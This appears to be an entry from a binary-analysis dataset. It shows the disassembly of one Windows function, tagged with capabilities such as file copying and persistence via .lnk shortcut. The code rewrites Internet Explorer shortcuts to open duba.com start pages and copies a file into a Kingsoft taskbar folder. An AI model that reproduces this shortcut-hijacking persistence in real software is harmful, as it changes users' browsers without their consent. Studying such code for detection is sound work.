Function at 0x442a25
Capabilities:
Check if file exists
Copy file
Create shortcut via ishelllink
Get common file path
Persist via lnk shortcut

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x6a9a60]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ecx, [ebp - 0x214]
xor ebx, ebx
call fcn.00404190
lea eax, [ebp - 0x234]
push ebx
push eax
call fcn.00413a13
pop ecx
pop ecx
lea ecx, [ebp - 0x21c]
call fcn.00404190
push 0x208
lea eax, [ebp - 0x20c]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x230]
mov eax, str._http:__www.duba.com__fieswdh_
mov dword [ebp - 0x224], eax
push eax
call fcn.004040f0
lea eax, [ebp - 0x22c]
push eax
call fcn.00442e87
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
mov esi, str.Internet_Exploreriexplore.exe
push esi
call edi
pop ecx
pop ecx
push eax
push esi
lea ecx, [ebp - 0x22c]
call fcn.0040c36b
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x220], ebx
call fcn.00404190
lea ecx, [ebp - 0x238]
call fcn.00404190
lea ecx, [ebp - 0x228]
call fcn.00404190
mov esi, 0x61a5f0
push esi
call edi
pop ecx
push eax
push esi
lea ecx, [ebp - 0x234]
call fcn.0040c36b
push ebx
push 0x1a
lea eax, [ebp - 0x20c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x20c]
push str.Kingsoft_taskbar_
push eax
call esi
lea eax, [ebp - 0x20c]
push eax
call fcn.00413808
lea eax, [ebp - 0x20c]
mov dword [esp], 0x61a5f0
push eax
call esi
lea eax, [ebp - 0x20c]
push eax
call edi
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x21c]
call fcn.00404cd0
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
mov edi, dword [ebp - 0x21c]
push ebx
push edi
push dword [ebp - 0x234]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x442de6
lea eax, [ebp - 0x214]
push eax
call fcn.00441b5a
mov dword [esp], 0x61a60c
lea eax, [ebp - 0x214]
push str._s.lnk
push eax
call fcn.0040da34
mov esi, dword [ebp - 0x214]
add esp, 0xc
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x442c08
call fcn.004b2bb4
cmp eax, 6
jne 0x442dec
lea ecx, [ebp - 0x214]
call fcn.004041c0
lea eax, [ebp - 0x214]
push eax
call fcn.00441b5a
mov dword [esp], 0x61aa74
lea eax, [ebp - 0x214]
push str._s.lnk
push eax
call fcn.0040da34
mov esi, dword [ebp - 0x214]
add esp, 0xc
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x442dec
lea eax, [ebp - 0x218]
push eax
push 0x62a120
xor eax, eax
inc eax
push eax
push ebx
push 0x62a180
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x442dec
mov eax, dword [ebp - 0x218]
lea edx, [ebp - 0x220]
push edx
push 0x62a150
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x442dec
mov eax, dword [ebp - 0x220]
push ebx
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x442dec
lea eax, [ebp - 0x21c]
push esi
push eax
call fcn.0044554b
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.004048f0
mov ecx, dword [ebp - 0x21c]
lea ecx, [ecx - 0x10]
call fcn.004023e0
push ebx
push 0x613718
lea ecx, [ebp - 0x210]
call fcn.00403ef0
cmp eax, 0xffffffff
je 0x442dec
lea ecx, [ebp - 0x210]
call fcn.004041c0
mov ebx, dword [ebp - 0x218]
lea ecx, [ebp - 0x210]
push 0x105
call fcn.004047c0
mov ecx, dword [ebx]
push 0x104
push eax
push ebx
call dword [ecx + 0x28]
push 0xffffffffffffffff
lea ecx, [ebp - 0x210]
call fcn.0040e311
mov eax, dword [ebp - 0x210]
xor ebx, ebx
cmp dword [eax - 0xc], ebx
je 0x442dec
push ebx
push str._tkbardubaie
lea ecx, [ebp - 0x210]
call fcn.00403ef0
cmp eax, 0xffffffff
je 0x442d0c
push str._http:__www.duba.com__fieswdh_
jmp 0x442d4f
push ebx
push str._tkbrdubaeico
lea ecx, [ebp - 0x210]
call fcn.00403ef0
cmp eax, 0xffffffff
je 0x442d29
mov eax, str._http:__www.duba.com__fquickstartie_
jmp 0x442d48
push ebx
push str._tkbrdubakuai
lea ecx, [ebp - 0x210]
call fcn.00403ef0
cmp eax, 0xffffffff
je 0x442dec
mov eax, str._http:__www.duba.com__fquickstartre_
push eax
mov dword [ebp - 0x224], eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
pop ecx
push eax
push dword [ebp - 0x224]
lea ecx, [ebp - 0x230]
call fcn.00404cd0
push dword [ebp - 0x230]
lea eax, [ebp - 0x21c]
push eax
call fcn.004343dc
mov ecx, eax
call fcn.00434bd3
push eax
lea ecx, [ebp - 0x228]
call fcn.004048f0
mov ecx, dword [ebp - 0x21c]
lea ecx, [ecx - 0x10]
call fcn.004023e0
mov eax, dword [ebp - 0x218]
push dword [ebp - 0x22c]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x218]
push dword [ebp - 0x228]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x218]
push ebx
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x220]
push 1
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
test eax, eax
push 1
pop eax
cmovns ebx, eax
jmp 0x442dec
mov esi, dword [ebp - 0x214]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x228]
lea ecx, [ecx - 0x10]
call fcn.004023e0
mov ecx, dword [ebp - 0x238]
lea ecx, [ecx - 0x10]
call fcn.004023e0
mov ecx, dword [ebp - 0x210]
lea ecx, [ecx - 0x10]
call fcn.004023e0
mov eax, dword [ebp - 0x220]
test eax, eax
je 0x442e2c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x442e3c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0x22c]
lea ecx, [ecx - 0x10]
call fcn.004023e0
mov ecx, dword [ebp - 0x230]
lea ecx, [ecx - 0x10]
call fcn.004023e0
lea ecx, [edi - 0x10]
call fcn.004023e0
mov ecx, dword [ebp - 0x234]
add ecx, 0xfffffff0
call fcn.004023e0
lea ecx, [esi - 0x10]
call fcn.004023e0
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004b3004
leave
ret